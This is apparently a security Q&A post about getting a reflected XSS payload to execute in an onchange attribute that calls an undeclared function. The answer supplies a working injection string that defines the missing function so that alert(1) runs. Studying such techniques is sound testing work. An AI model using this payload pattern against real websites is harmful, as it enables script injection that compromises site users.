JS bug is stopping my xss payload to exeute

Question

The XSS vector is at the * but the function issue_type is not declared hence my payload is not getting executed.

following is the instance of the vulnerable code:-

<select  name="sub_subissues" id="_subsubissues" onchange="issue_type(this, *)" style="height:30px;">

so I tried:-

issue_id=alert(1)

which resulted into:-

<select  name="sub_subissues" id="_subsubissues" onchange="issue_type(this, alert(1))" style="height:30px;">

as function issue_type is not defined in the page the payload did not execute as the onchange attribute did not execute. The characters <>&"' cannot be used as they are encoded

How can i modify my payload to exploit xss?

Answer 1

As you noticed, the payload currently doesn't work, as you will get a function not defined error:

Uncaught ReferenceError: issue_type is not defined

The solution is to define the function yourself. As it doesn't matter if the function is defined before or after it is used, you can do so by injecting 1);function issue_type(){alert(1)}//, which will give you something like this:

<select  name="sub_subissues" id="_subsubissues" onchange="issue_type(this, 1);function issue_type(){alert(1)}//,1);" style="height:30px;">
<option>1</option>
<option>2</option>
</select>

As the function is now defined, the JavaScript will work & the payload will trigger.